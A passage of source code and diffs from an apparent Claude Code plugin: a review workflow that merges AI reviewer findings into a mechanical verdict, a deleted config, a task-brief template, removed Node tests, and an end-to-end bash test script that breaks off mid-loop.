throw new Error('trekreview-armB: args must include { briefPath, diffPath } (pinned Phase 1-4 output)');
}
phase('Review');
const reviewerThunks = [
() => agent(reviewerPrompt('brief-conformance', a), {
agentType: 'voyage:brief-conformance-reviewer', schema: FINDINGS_SCHEMA, label: 'conformance', phase: 'Review',
}),
() => agent(reviewerPrompt('code-correctness', a), {
agentType: 'voyage:code-correctness-reviewer', schema: FINDINGS_SCHEMA, label: 'correctness', phase: 'Review',
}),
];
// The reviewer agent names in run order, so a reviewer that returned nothing is named.
const reviewerNames = a.quick ? ['code-correctness-reviewer'] : ['brief-conformance-reviewer', 'code-correctness-reviewer'];
const toRun = a.quick ? [reviewerThunks[1]] : reviewerThunks;
const rawResults = await parallel(toRun);
const reviewerResults = rawResults.filter(Boolean);
const missingReviewerNames = reviewerNames.filter((_, i) => !rawResults[i]);
// A reviewer that returned nothing is an absent one, not a clean one. The
// engines that were due are counted from what actually arrived, never from
// what the caller remembered to list as not run.
const enginePayloads = Array.isArray(a.enginePayloads) ? a.enginePayloads.filter(Boolean) : [];
const expectedEngines = a.quick ? ['claude-code-review'] : ['claude-code-review', 'claude-security-review'];
const arrivedEngines = new Set(enginePayloads.map((p) => p.reviewer));
const missingEngines = expectedEngines.filter((name) => !arrivedEngines.has(name));
let missingReviewers = (rawResults.length - reviewerResults.length) + missingEngines.length;
// Provenance, before dedup: "came from an engine" is read from the source,
// never from an `engine` field. A reviewer finding loses any `engine` it
// carries; an engine payload's findings get `engine` from its `reviewer`
// (the names lib/review/engine-findings.mjs writes); any other payload gives
// its findings no `engine`. So an `engine` in `merged` means an engine payload.
// Inlined (scripts cannot import) and pinned equal to ENGINES by the workflow test.
const ENGINE_OF_PAYLOAD = {
'claude-code-review': 'code-review', 'claude-security-review': 'security-review',
};
const engineOf = (reviewer) => (Object.prototype.hasOwnProperty.call(ENGINE_OF_PAYLOAD, reviewer) ? ENGINE_OF_PAYLOAD[reviewer] : null);
const withEngine = (f, eng) => {
if (!f || typeof f !== 'object') return f;
const { engine: _dropped, ...rest } = f;
return eng ? { ...rest, engine: eng } : rest;
};
const tagged = (f, src) => {
if (f && typeof f === 'object') sourceOf.set(f, src);
return f;
};
const allFindings = [
...reviewerResults.flatMap((r, i) => (Array.isArray(r?.findings) ? r.findings : [])
.map((f) => tagged(withEngine(f, null), `reviewer:${r?.reviewer ?? i}`))),
...enginePayloads.flatMap((p) => (Array.isArray(p?.findings) ? p.findings : [])
.map((f) => tagged(withEngine(f, engineOf(p?.reviewer)), `engine:${p?.reviewer}`))),
];
const rowMembers = new Map();
const merged = dedupByTriplet(allFindings, { rows: rowMembers });
log(`Arm B: ${reviewerResults.length} reviewer(s); ${allFindings.length} raw → ${merged.length} after triplet-dedup`);
phase('Coordinate');
let coord = null;
if (merged.length === 0) {
coord = { verdict: missingReviewers > 0 ? 'WARN' : 'ALLOW', findings: [] };
log(`Arm B: zero findings → verdict ${coord.verdict} (coordinator skipped; ${missingReviewers} reviewer(s) missing)`);
} else {
coord = await agent(coordinatorPrompt(merged, a), {
agentType: 'voyage:review-coordinator', schema: VERDICT_SCHEMA, label: 'coordinator', phase: 'Coordinate',
});
}
// A coordinator that returns no verdict and findings is a missing reviewer, not
// a clean one (the zero-findings skip above always sets a valid verdict).
const coordinatorMissing = merged.length > 0 && !(coord && ['BLOCK', 'WARN', 'ALLOW'].includes(coord.verdict) && Array.isArray(coord.findings));
if (coordinatorMissing) missingReviewers += 1;
// The verdict is mechanical: recompute its floor from the findings the
// coordinator returned, so an LLM-written ALLOW over a BLOCKER cannot pass.
const returned = coordinatorMissing ? merged : coord.findings;
// The floor reads two inputs, never the labels the coordinator wrote:
// - `merged` (the coordinator's input, one finding per row) for each returned
// finding's counterpart, its own row: the row with its `rowOf` key (triplet
// plus normalized title); with no title match, the only row on its triplet,
// else the strictest row there (highest tier, then highest severity; the
// first in `merged` on a tie), never a lower one. `engine` is taken from
// that row only. (a) an engine counterpart raises it to the
// engine's severity, unless the one legal lowering; (b) a reviewer
// counterpart, labelled or not, raises it to the lower of the counterpart's
// asserted severity and its catalogue tier (the coordinator may reset a
// finding to its tier, never below; for an unknown key the bound is the
// counterpart's severity), and a labelled finding is raised as before.
// - the rows' members (before dedup, so an engine finding a reviewer finding
// shadowed in its row counts too) for the put-back: (c) each engine finding
// in a row whose `rowOf` key no returned finding carries (neither as it
// stands nor with the title trimmed as the coordinator trims it) is
// put back at its own severity, one copy per row (the higher severity, else
// the first seen) (operator decision 23, review ab1b5d9f). So the coordinator's drop,
// move, rename or relabel of an engine finding no longer lowers the verdict
// (a renamed row is put back beside the renamed finding: a duplicate, the
// stricter side).
// The raises and put-backs are written into `returned`, the marks kept, so the
// rendered review.md carries them.
// A coordinator that failed (no verdict and findings) is not trusted with a
// partial list: `returned` is then every merged finding, each first raised to
// its catalogue tier when the key is known (never lowered), as the default
// path's Pass 3 would reset it; that raise stands after `raiseTo` is declared.
const rowsOn = (map, key, m) => {
if (!map.has(key)) map.set(key, []);
map.get(key).push(m);
};
const counterparts = new Map();
const rowsOnTriplet = new Map();
for (const m of merged) {
if (!m || typeof m !== 'object') continue;
rowsOn(counterparts, rowOf(m), m);
rowsOn(rowsOnTriplet, tripletOf(m), m);
}
const strictest = (rows) => rows.reduce((best, m) => (tierRank(m) < tierRank(best) ||
(tierRank(m) === tierRank(best) && sevRank(m.severity) < sevRank(best.severity)) ? m : best));
const counterpartOf = (f) => {
const own = counterparts.get(rowOf(f));
if (own) return strictest(own);
const onTriplet = rowsOnTriplet.get(tripletOf(f));
return onTriplet ? strictest(onTriplet) : null;
};
const present = (f, field) => f[field] !== undefined && f[field] !== null;
const raiseTo = (f, sev) => { if (sevRank(sev) < sevRank(f.severity)) f.severity = sev; };
const lowerOf = (s1, s2) => (sevRank(s1) >= sevRank(s2) ? s1 : s2);
if (coordinatorMissing) {
for (const f of returned) {
if (!f || typeof f !== 'object') continue;
const tier = tierOf(f.rule_key);
if (tier !== null) raiseTo(f, tier);
}
}
for (const f of returned) {
if (!f || typeof f !== 'object') continue;
const c = counterpartOf(f);
const labelled = present(f, 'engine') || present(f, 'contradicts_brief') || present(f, 'brief_lowered_from');
if (c && c.engine) {
// (a) an engine counterpart: raised to its severity, unless the one legal lowering.
const legal = c.engine === 'code-review' && c.severity === 'MAJOR' && tierOf(c.rule_key) === 'MAJOR' &&
f.severity === 'MINOR' && typeof f.contradicts_brief === 'string' && f.contradicts_brief.trim().length > 0 &&
f.brief_lowered_from === 'MAJOR';
if (!legal) raiseTo(f, c.severity);
f.engine = c.engine;
continue;
}
if (c) {
// (b) a reviewer counterpart: never below the lower of its asserted severity and the tier.
const tier = tierOf(c.rule_key);
raiseTo(f, tier === null ? c.severity : lowerOf(c.severity, tier));
}
if (labelled) {
// A labelled reviewer finding, or one with no counterpart: an unknown key raises to BLOCKER.
raiseTo(f, tierOf(f.rule_key) ?? 'BLOCKER');
if (c) raiseTo(f, c.severity);
delete f.engine;
}
}
// (c) the put-back (decision 23).
const returnedRows = new Set(returned.filter((f) => f && typeof f === 'object').map(rowOf));
// A row is returned when a returned finding carries its key, or the key of its
// title as the coordinator trims it, so a trimmed title puts back no copy.
const rowReturned = (m) => returnedRows.has(rowOf(m)) ||
(typeof m.title === 'string' && returnedRows.has(rowOf({ ...m, title: trimmedTitle(m.title) })));
// Each row not returned: its engine findings only, so dedupByTriplet keeps the
// higher severity, else the first seen: one copy per row, so not split per
// source here.
const putBack = merged
.filter((m) => m && typeof m === 'object' && !rowReturned(m))
.flatMap((m) => dedupByTriplet(rowMembers.get(m).filter((f) =>
f && typeof f === 'object' && f.engine), { perSource: false }));
for (const f of putBack) {
const { brief_lowered_from: _lowered, ...copy } = f;
returned.push(copy);
}
const has = (sev) => returned.some((f) => f && f.severity === sev);
let verdict = coordinatorMissing ? (coord?.verdict === 'BLOCK' ? 'BLOCK' : 'WARN') : coord.verdict;
if (has('BLOCKER')) verdict = 'BLOCK';
else if (has('MAJOR') && verdict !== 'BLOCK') verdict = 'WARN';
if (verdict === 'ALLOW' && missingReviewers > 0) verdict = 'WARN';
// Every reviewer, engine and coordinator that did not deliver, in the form the
// default path writes and lib/review/verdict-gate.mjs counts as not run.
const allowBlockedBy = [
...missingReviewerNames.map((name) => `missing-reviewer:${name}`),
...missingEngines.map((name) => `missing-reviewer:${name}`),
...(coordinatorMissing ? ['missing-reviewer:review-coordinator'] : []),
];
const result = {
verdict,
missing_reviewers: missingReviewers,
missing_engines: missingEngines,
allow_blocked_by: allowBlockedBy,
findings: returned,
raw_reviewer_count: reviewerResults.length,
raw_finding_count: allFindings.length,
deduped_count: merged.length,
};
log(`RESULT_JSON:${JSON.stringify(result)}`);
return result;

View file

@ -1,26 +0,0 @@
{
"trekplan": {
"defaultMode": "default",
"autoResearch": true,
"interview": {
"maxQuestions": 8,
"typicalQuestions": 5
},
"tracking": {
"enabled": true,
"statsFile": "trekplan-stats.jsonl"
}
},
"trekresearch": {
"defaultMode": "default",
"maxDimensions": 8,
"interview": {
"maxQuestions": 4,
"typicalQuestions": 3
},
"tracking": {
"enabled": true,
"statsFile": "trekresearch-stats.jsonl"
}
}
}

View file

@ -1,64 +0,0 @@
# Task: {title}
## Goal
What success looks like. One clear paragraph.
## Non-Goals
What is explicitly out of scope for this task.
- {non-goal 1}
- {non-goal 2}
## Constraints
Technical, time, or resource limitations.
- {constraint 1}
- {constraint 2}
## Preferences
Preferred patterns, frameworks, libraries, or approaches.
- {preference 1}
- {preference 2}
## Non-Functional Requirements
Performance, security, accessibility, scalability, or other quality attributes.
- {NFR 1}
- {NFR 2}
## Success Criteria
Falsifiable conditions that define "done". Each must be checkable by running a
command or observing a specific system behavior.
- {criterion — e.g., "All existing tests pass: `npm test` exits 0"}
- {criterion — e.g., "New endpoint returns 200: `curl -s localhost:3000/api/health | jq .status` → "ok""}
- {criterion — e.g., "No TypeScript errors: `npx tsc --noEmit` exits 0"}
Do NOT write vague criteria:
- "It should work" (not testable)
- "The feature is implemented" (not falsifiable)
- "Performance is acceptable" (no baseline given)
## Prior Attempts
What has been tried before and what happened. Leave blank if this is a fresh task.
## Open Questions
Unresolved items that may affect the plan. Flag these as assumptions if proceeding
without answers.
- {question 1}
## Metadata
- **Created:** {YYYY-MM-DD}
- **Mode:** {interview | manual}
- **Source:** {trekplan interview | user-provided}

View file

@ -15,7 +15,7 @@ import { mkdtempSync, mkdirSync, writeFileSync, readFileSync, rmSync } from 'nod
import { tmpdir } from 'node:os';
import { dirname, join } from 'node:path';
import { fileURLToPath } from 'node:url';
import { execFileSync, spawnSync } from 'node:child_process';
import { spawnSync } from 'node:child_process';
import { runHook } from '../helpers/hook-helper.mjs';
import { findSection } from '../../lib/parsers/plan-schema.mjs';
@ -180,7 +180,6 @@ test('trekcontinue Bug 3 — Phase 1.5 documents consistency check between Phase
const cmd = readCommand();
// Phase 1.5 must exist literally in the prose between Phase 1 and Phase 2.
assert.match(cmd, /## Phase 1\.5 /, 'Phase 1.5 header must be present');
assert.match(cmd, /next-session-prompt-validator/, 'Phase 1.5 must invoke next-session-prompt-validator');
const phase15Idx = cmd.indexOf('## Phase 1.5 ');
const phase2Idx = cmd.indexOf('## Phase 2 ');
@ -188,64 +187,6 @@ test('trekcontinue Bug 3 — Phase 1.5 documents consistency check between Phase
'Phase 1.5 must appear before Phase 2');
});
test('trekcontinue Bug 3 (e) — CLI consistency mode flags producer mismatch in JSON output', () => {
const root = mkdtempSync(join(tmpdir(), 'trekcontinue-fm-'));
try {
const projectDir = join(root, '.claude', 'projects', '2026-05-04-fixture-c');
mkdirSync(projectDir, { recursive: true });
// State file (status: in_progress, updated_at = T-base)
const stateUpdatedAt = '2026-05-04T15:00:00.000Z';
writeFileSync(
join(projectDir, '.session-state.local.json'),
JSON.stringify({
schema_version: 1,
project: projectDir,
next_session_brief_path: join(projectDir, 'brief.md'),
next_session_label: 'Session 2',
status: 'in_progress',
updated_at: stateUpdatedAt,
}, null, 2),
);
// Project-dir prompt: produced_by trekexecute at T-1
const projectPrompt = join(projectDir, 'NEXT-SESSION-PROMPT.local.md');
writeFileSync(projectPrompt,
'---\nproduced_by: trekexecute\nproduced_at: 2026-05-04T15:30:00.000Z\n---\n\n# Session 2\n');
// Plugin-root prompt: produced_by graceful-handoff at T-0 (newer)
const pluginPrompt = join(root, 'NEXT-SESSION-PROMPT.local.md');
writeFileSync(pluginPrompt,
'---\nproduced_by: graceful-handoff\nproduced_at: 2026-05-04T15:31:00.000Z\n---\n\n# A2 master\n');
// Both fresh relative to state.updated_at → producer mismatch must hard-fail.
let exitCode = 0;
let stdout = '';
try {
stdout = execFileSync(process.execPath, [
join(ROOT, 'lib', 'validators', 'next-session-prompt-validator.mjs'),
'--json',
'--consistency',
projectPrompt,
pluginPrompt,
], { encoding: 'utf-8', cwd: ROOT });
} catch (e) {
exitCode = e.status;
stdout = e.stdout ? e.stdout.toString() : '';
}
assert.notEqual(exitCode, 0, 'consistency CLI must exit non-zero on producer mismatch');
const parsed = JSON.parse(stdout);
assert.equal(parsed.valid, false);
const mismatch = parsed.errors.find(e => e.code === 'NEXT_SESSION_PROMPT_PRODUCER_MISMATCH');
assert.ok(mismatch, 'must surface NEXT_SESSION_PROMPT_PRODUCER_MISMATCH error');
assert.match(mismatch.message, new RegExp(projectPrompt.replace(/[/\\]/g, '.')), 'error message must reference project-dir prompt path');
assert.match(mismatch.message, new RegExp(pluginPrompt.replace(/[/\\]/g, '.')), 'error message must reference plugin-root prompt path');
assert.match(mismatch.message, /produced_by/i, 'error message must mention produced_by');
} finally {
rmSync(root, { recursive: true, force: true });
}
});
test('trekcontinue Bug 2 — Phase 2 contains no {state-file-path} or any {curly-template} placeholder', () => {
// (d-2) Pattern D structure test. The fix must eliminate the
// {state-file-path} placeholder and any other {anything} curly-brace

View file

@ -225,9 +225,6 @@ test('trekresearch — High-effort behavior gives standard effort the wave-2 sen
// --- Step 8: Phase 4.5 dimension discovery + Independence amendment ---
const ORCHESTRATOR_FILE = join(ROOT, 'agents', 'research-orchestrator.md');
function readOrchestrator() { return readFileSync(ORCHESTRATOR_FILE, 'utf8'); }
test('trekresearch — Phase 4.5 exists between Phase 4 and Phase 5 with the effort skip-guard', () => {
const text = read();
const p45 = text.indexOf('## Phase 4.5 —');
@ -284,34 +281,6 @@ test('trekresearch — Independence hard rule carries an explicit Phase 4.5 amen
'the amendment must name the compensating control');
});
test('trekresearch — orchestrator phase map is correct, has no Phase 9, and carries Phase 4.5', () => {
const doc = readOrchestrator();
const start = doc.indexOf('<!-- Phase mapping');
assert.ok(start >= 0, 'phase mapping comment missing');
const end = doc.indexOf('-->', start);
assert.ok(end > start, 'phase mapping comment not terminated');
const map = doc.slice(start, end);
assert.doesNotMatch(map, /Command Phase 9/,
'the command ends at Phase 8 — a Command Phase 9 row is a fiction');
// Six orchestrator rows, each pointing at the phase the command actually has.
const expected = [
[1, '4'],
[2, '4'],
[3, '5'],
[4, '6'],
[5, '7'],
[6, '8'],
];
for (const [orch, cmd] of expected) {
const re = new RegExp(`Orchestrator Phase ${orch}\\s+= Command Phase ${cmd.replace('.', '\\.')}\\b`);
assert.match(map, re, `map row for Orchestrator Phase ${orch} must point at Command Phase ${cmd}`);
}
assert.match(map, /Command Phase 4\.5/, 'the map must carry the new Phase 4.5 row');
});
// --- v5.1.1 runtime SC4 + SC7 ---
test('trekresearch — SC4: low-effort fixture → resolver returns {effort: low, model: sonnet}', () => {

View file

@ -13,11 +13,9 @@ import { parseDocument } from '../../lib/util/frontmatter.mjs';
const HERE = dirname(fileURLToPath(import.meta.url));
const ROOT = join(HERE, '..', '..');
const COMMAND_FILE = join(ROOT, 'commands', 'trekreview.md');
const MODES_DOC = join(ROOT, 'docs', 'command-modes.md');
const PHASE = 'review';
function read() { return readFileSync(COMMAND_FILE, 'utf8'); }
function readModes() { return readFileSync(MODES_DOC, 'utf8'); }
function readFixture(name) { return readFileSync(join(ROOT, 'tests', 'fixtures', name), 'utf8'); }
function frontmatterOf(text) {
const doc = parseDocument(text);
@ -75,53 +73,6 @@ test('trekreview — SC7: brief_version 2.1 + no phase_signals + no partial →
);
});
// --- S11 (NW2 part B) — opt-in --workflow substrate routing ---
test('trekreview — Phase 1 flag table documents the --workflow opt-in flag', () => {
const text = read();
assert.match(text, /--workflow/,
'commands/trekreview.md must document the --workflow opt-in flag (NW2 part B)');
});
test('trekreview — --workflow routes Phase 5–6 to the validated NW2 Workflow port script', () => {
const text = read();
assert.ok(text.includes('scripts/trekreview-armB.workflow.mjs'),
'the --workflow route must reference the bake-off-validated NW2 Workflow port script');
});
test('trekreview — Workflow path is opt-in; default stays prose (portability floor)', () => {
const text = read();
assert.match(text, /opt-in/i, '--workflow must be described as opt-in');
assert.ok(text.includes('Default stays prose'),
'the command must state the default Phase 5–6 path stays prose (not Workflow)');
});
test('trekreview — Workflow opt-in documents the Claude Code 2.1.154+ floor', () => {
const text = read();
assert.match(text, /2\.1\.154/,
'the --workflow path raises the consumer floor and must document Claude Code 2.1.154+');
});
test('trekreview — bake-off evidence (fidelity-equivalent / T2 results) is cited for the opt-in', () => {
const text = read();
assert.ok(
text.includes('T2-bakeoff-results.md') && /fidelity-equivalent/i.test(text),
'the opt-in must cite the S10 bake-off (docs/T2-bakeoff-results.md) fidelity-equivalence verdict',
);
});
test('command-modes.md — /trekreview table documents --workflow + its CC floor', () => {
const text = readModes();
const start = text.indexOf('## /trekreview modes');
assert.ok(start >= 0, 'command-modes.md missing "## /trekreview modes" section');
const end = text.indexOf('\n## ', start + 1);
const section = text.slice(start, end === -1 ? undefined : end);
assert.match(section, /--workflow/,
'command-modes.md /trekreview table must list the --workflow opt-in flag');
assert.match(section, /2\.1\.154/,
'command-modes.md /trekreview --workflow row must note the Claude Code 2.1.154+ floor');
});
test('trekreview — stats write through stats-append, never silently skipped', () => {
const md = read();
assert.match(md, /node \$\{CLAUDE_PLUGIN_ROOT\}\/lib\/stats\/stats-append\.mjs trekreview <<'JSON'/);

View file

@ -1,286 +0,0 @@
#!/usr/bin/env bash
# tests/e2e-files-trial4.sh
# End to end for the trial-4 plan (steps 11 and 13): the four CLIs run the
# way a command runs them.
# 1. lib/validators/plan-validator.mjs --strict --json on three plans built
# with tests/helpers/plan-v18-builder.mjs: a valid 1.9 plan (exit 0), a
# 1.9 plan with an unticked Files entry (exit 1, PLAN_STEP_PATH_NOT_FIRST),
# a 1.8 plan with an unticked path (exit 0, PLAN_STEP_PATH_UNTICKED).
# 2. lib/util/artifact-commit.mjs in a temp git repo: with a trailer (exit 0,
# the trailer is the message's last line), without (exit 1, HEAD unchanged).
# 3. lib/review/verdict-gate.mjs on the legal (exit 0) and the illegal
# (exit 2) brief-conflict review fixtures.
# 4. plan-validator on a 1.8 plan whose Test first File line names a source
# path in its description (exit 0, no PLAN_STEP_TESTS_ONLY: decision 20).
# 5. plan-validator on a 1.9 plan whose Files is a backticked None (exit 1,
# PLAN_STEP_PATH_NOT_A_PATH).
# 6. lib/verification/red-proof.mjs with --plan/--step and a --tests that
# differs from the plan's list (exit 2, tests-mismatch).
# 7. artifact-commit with an empty-model trailer (exit 1, HEAD unchanged).
# 8. plan-validator on a 1.9 plan whose Files entry wraps onto a line that
# opens with a backticked flag (exit 0, no PLAN_STEP_PATH_NOT_A_PATH).
# 9. plan-validator on a 1.9 plan whose Test first File line wraps onto a
# line that opens with the source path (exit 0, no PLAN_STEP_TESTS_ONLY).
# 10. red-proof --red-only with --plan/--step and no --tests in a second temp
# repo (exit 0; its JSON tests field is the plan's one test file).
# 11. the same with a plan path that does not exist (exit 2, plan-unreadable).
# 12. the same as 10 in text form with a --tests that differs (exit 2, the
# line " plan_tests: tests/parser.test.mjs").
# 13. red-proof --red-only on a 1.8 plan whose File line names two tests,
# each with a (new) note (exit 0; tests is both, in order; decision 31).
# 14. red-proof --red-only on a 1.7 plan whose File line names its test
# without backticks: no --tests (exit 2, no test files given, no tests
# line), then --tests with the file the helper wrote (exit 0, the line
# " tests: tests/parser.test.mjs"; decision 41).
# Prints "e2e: ok" and exits 0, or names the failed check and exits 1.
# bash 3.2 compatible, ASCII only.
set -u
cd "$(dirname "$0")/.." || { echo "e2e: FAIL - cannot cd to the repo root" >&2; exit 1; }
ROOT="$(pwd)"
unset GIT_DIR GIT_WORK_TREE GIT_INDEX_FILE
TMP="$(mktemp -d "${TMPDIR:-/tmp}/e2e-files-trial4.XXXXXX")" || { echo "e2e: FAIL - mktemp" >&2; exit 1; }
trap 'rm -rf "$TMP"' EXIT
fail() {
echo "e2e: FAIL - $1" >&2
exit 1
}
TRAILER='Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>'
# ---- 1. the plan validator on three plans ----
node --input-type=module -e '
import { writeFileSync } from "node:fs";
import { buildPlan } from "./tests/helpers/plan-v18-builder.mjs";
const dir = process.argv[1];
const e2e = { endToEnd: "bash tests/e2e.sh" };
writeFileSync(dir + "/plan-1-9-valid.md", buildPlan({ version: "1.9" }));
writeFileSync(dir + "/plan-1-9-unticked.md",
buildPlan({ version: "1.9", steps: [{ filesRaw: "src/mod1.mjs - the parser" }, e2e] }));
writeFileSync(dir + "/plan-1-8-unticked.md",
buildPlan({ steps: [{ filesRaw: "`tests/mod1.test.mjs`, src/mod1.mjs" }, e2e] }));
' "$TMP" || fail "could not write the three plans with tests/helpers/plan-v18-builder.mjs"
out="$(node lib/validators/plan-validator.mjs --strict --json "$TMP/plan-1-9-valid.md" 2>&1)"
rc=$?
[ "$rc" -eq 0 ] || fail "valid 1.9 plan: plan-validator exit $rc, expected 0: $out"
out="$(node lib/validators/plan-validator.mjs --strict --json "$TMP/plan-1-9-unticked.md" 2>&1)"
rc=$?
[ "$rc" -eq 1 ] || fail "1.9 plan with an unticked Files entry: plan-validator exit $rc, expected 1: $out"
echo "$out" | grep -q 'PLAN_STEP_PATH_NOT_FIRST' \
|| fail "1.9 plan with an unticked Files entry: no PLAN_STEP_PATH_NOT_FIRST in: $out"
out="$(node lib/validators/plan-validator.mjs --strict --json "$TMP/plan-1-8-unticked.md" 2>&1)"
rc=$?
[ "$rc" -eq 0 ] || fail "1.8 plan with an unticked path: plan-validator exit $rc, expected 0: $out"
echo "$out" | grep -q 'PLAN_STEP_PATH_UNTICKED' \
|| fail "1.8 plan with an unticked path: no PLAN_STEP_PATH_UNTICKED in: $out"
# ---- 2. the approval commit in a temp git repo ----
# make_repo <dir>: a temp git repo with one commit, no hooks, no signing.
make_repo() {
mkdir -p "$1" "$TMP/hooks-none" || fail "mkdir $1"
git -C "$1" init -q || fail "git init $1"
git -C "$1" config user.name 'E2E Test'
git -C "$1" config user.email 'test@example.invalid'
git -C "$1" config commit.gpgsign false
git -C "$1" config core.hooksPath "$TMP/hooks-none"
echo 'x' > "$1/README.md"
git -C "$1" add README.md && git -C "$1" commit -q -m 'init' || fail "initial commit in $1"
}
REPO="$TMP/repo"
make_repo "$REPO"
echo '# brief' > "$REPO/brief.md"
H1='cccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccc'
H2='dddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddd'
(cd "$REPO" && node "$ROOT/lib/util/approval-log.mjs" append --kind intent --subject brief.md --sha256 "$H1" >/dev/null) \
|| fail "approval-log append (first record)"
[ -f "$REPO/.claude/voyage/approvals.jsonl" ] || fail "no .claude/voyage/approvals.jsonl in the temp repo"
out="$(node lib/util/artifact-commit.mjs --repo "$REPO" --store local --message 'docs(voyage): approve intent e2e' --trailer "$TRAILER" 2>&1)"
rc=$?
[ "$rc" -eq 0 ] || fail "artifact-commit with a trailer: exit $rc, expected 0: $out"
last="$(git -C "$REPO" log -1 --format=%B | sed '/^$/d' | tail -n 1)"
[ "$last" = "$TRAILER" ] || fail "artifact-commit with a trailer: the last message line is '$last', expected '$TRAILER'"
(cd "$REPO" && node "$ROOT/lib/util/approval-log.mjs" append --kind intent --subject brief.md --sha256 "$H2" >/dev/null) \
|| fail "approval-log append (second record)"
before="$(git -C "$REPO" rev-parse HEAD)"
out="$(node lib/util/artifact-commit.mjs --repo "$REPO" --store local --message 'docs(voyage): approve intent e2e' 2>&1)"
rc=$?
[ "$rc" -eq 1 ] || fail "artifact-commit without a trailer: exit $rc, expected 1: $out"
after="$(git -C "$REPO" rev-parse HEAD)"
[ "$before" = "$after" ] || fail "artifact-commit without a trailer: HEAD moved from $before to $after"
# ---- 3. the verdict gate on the two brief-conflict fixtures ----
out="$(node lib/review/verdict-gate.mjs tests/fixtures/review-brief-conflict-legal.md 2>&1)"
rc=$?
[ "$rc" -eq 0 ] || fail "verdict-gate on review-brief-conflict-legal.md: exit $rc, expected 0: $out"
out="$(node lib/review/verdict-gate.mjs tests/fixtures/review-brief-conflict-illegal.md 2>&1)"
rc=$?
[ "$rc" -eq 2 ] || fail "verdict-gate on review-brief-conflict-illegal.md: exit $rc, expected 2: $out"
# ---- 4. and 5. the plan validator on decision 20 and on a placeholder ----
node --input-type=module -e '
import { writeFileSync } from "node:fs";
import { buildPlan } from "./tests/helpers/plan-v18-builder.mjs";
const dir = process.argv[1];
const e2e = { endToEnd: "bash tests/e2e.sh" };
writeFileSync(dir + "/plan-1-8-description.md", buildPlan({ steps: [{
file: "src/parser.mjs", test: "tests/parser.test.mjs",
filesRaw: "`src/parser.mjs`, `tests/parser.test.mjs`",
testFirstRaw: " - File: `tests/parser.test.mjs` (new) - covers `parse()` in `src/parser.mjs`",
}, e2e] }));
writeFileSync(dir + "/plan-1-9-none.md",
buildPlan({ version: "1.9", steps: [{ filesRaw: "`None`" }, e2e] }));
' "$TMP" || fail "could not write the plans for checks 4 and 5"
out="$(node lib/validators/plan-validator.mjs --strict --json "$TMP/plan-1-8-description.md" 2>&1)"
rc=$?
[ "$rc" -eq 0 ] || fail "1.8 plan with a source path in the File line description: plan-validator exit $rc, expected 0: $out"
if echo "$out" | grep -q 'PLAN_STEP_TESTS_ONLY'; then
fail "1.8 plan with a source path in the File line description: PLAN_STEP_TESTS_ONLY in: $out"
fi
out="$(node lib/validators/plan-validator.mjs --strict --json "$TMP/plan-1-9-none.md" 2>&1)"
rc=$?
[ "$rc" -eq 1 ] || fail "1.9 plan whose Files is a backticked None: plan-validator exit $rc, expected 1: $out"
echo "$out" | grep -q 'PLAN_STEP_PATH_NOT_A_PATH' \
|| fail "1.9 plan whose Files is a backticked None: no PLAN_STEP_PATH_NOT_A_PATH in: $out"
# ---- 6. red proof refuses a --tests that differs from the plan ----
out="$(node lib/verification/red-proof.mjs --red-only --base HEAD --cwd "$REPO" --cmd 'node --test tests/parser.test.mjs' --tests tests/other.test.mjs --plan "$TMP/plan-1-8-description.md" --step 1 --json 2>&1)"
rc=$?
[ "$rc" -eq 2 ] || fail "red-proof with a --tests that differs from the plan: exit $rc, expected 2: $out"
echo "$out" | grep -q 'tests-mismatch' \
|| fail "red-proof with a --tests that differs from the plan: no tests-mismatch in: $out"
# ---- 7. the approval commit refuses an empty-model trailer ----
before="$(git -C "$REPO" rev-parse HEAD)"
out="$(node lib/util/artifact-commit.mjs --repo "$REPO" --store local --message 'docs(voyage): approve intent e2e' --trailer 'Co-Authored-By: Claude <noreply@anthropic.com>' 2>&1)"
rc=$?
[ "$rc" -eq 1 ] || fail "artifact-commit with an empty-model trailer: exit $rc, expected 1: $out"
after="$(git -C "$REPO" rev-parse HEAD)"
[ "$before" = "$after" ] || fail "artifact-commit with an empty-model trailer: HEAD moved from $before to $after"
# ---- 8. to 13. decisions 29 to 31: wrapped 1.9 lines, red proof without --tests ----
node --input-type=module -e '
import { writeFileSync } from "node:fs";
import { buildPlan } from "./tests/helpers/plan-v18-builder.mjs";
const dir = process.argv[1];
const e2e = { endToEnd: "bash tests/e2e.sh" };
writeFileSync(dir + "/p8.md", buildPlan({ version: "1.9", steps: [{
filesRaw: "`src/a.mjs`\n `--strict` flag added",
}, e2e] }));
writeFileSync(dir + "/p9.md", buildPlan({ version: "1.9", steps: [{
file: "src/parser.mjs", test: "tests/parser.test.mjs",
filesRaw: "`src/parser.mjs`, `tests/parser.test.mjs`",
testFirstRaw: " - File: `tests/parser.test.mjs`\n `src/parser.mjs` is the module it drives",
}, e2e] }));
writeFileSync(dir + "/p13.md", buildPlan({ steps: [{
file: "src/parser.mjs",
filesRaw: "`src/parser.mjs`, `tests/a.test.mjs`, `tests/b.test.mjs`",
testFirstRaw: " - File: `tests/a.test.mjs` (new), `tests/b.test.mjs` (new)",
}, e2e] }));
writeFileSync(dir + "/p14.md", buildPlan({ version: "1.7", steps: [{
file: "src/parser.mjs",
filesRaw: "`src/parser.mjs`, `tests/parser.test.mjs`",
testFirstRaw: " - File: tests/parser.test.mjs (new)",
}, e2e] }));
' "$TMP" || fail "could not write the plans for checks 8 to 14"
out="$(node lib/validators/plan-validator.mjs --strict --json "$TMP/p8.md" 2>&1)"
rc=$?
[ "$rc" -eq 0 ] || fail "8: 1.9 plan with a wrapped Files entry: plan-validator exit $rc, expected 0: $out"
if echo "$out" | grep -q 'PLAN_STEP_PATH_NOT_A_PATH'; then
fail "8: 1.9 plan with a wrapped Files entry: PLAN_STEP_PATH_NOT_A_PATH in: $out"
fi
out="$(node lib/validators/plan-validator.mjs --strict --json "$TMP/p9.md" 2>&1)"
rc=$?
[ "$rc" -eq 0 ] || fail "9: 1.9 plan with a wrapped Test first File line: plan-validator exit $rc, expected 0: $out"
if echo "$out" | grep -q 'PLAN_STEP_TESTS_ONLY'; then
fail "9: 1.9 plan with a wrapped Test first File line: PLAN_STEP_TESTS_ONLY in: $out"
fi
R="$TMP/repo-red"
make_repo "$R"
mkdir -p "$R/src" "$R/tests" || fail "mkdir $R"
echo 'export const parse = (s) => Number(s);' > "$R/src/parser.mjs"
for t in parser a b; do
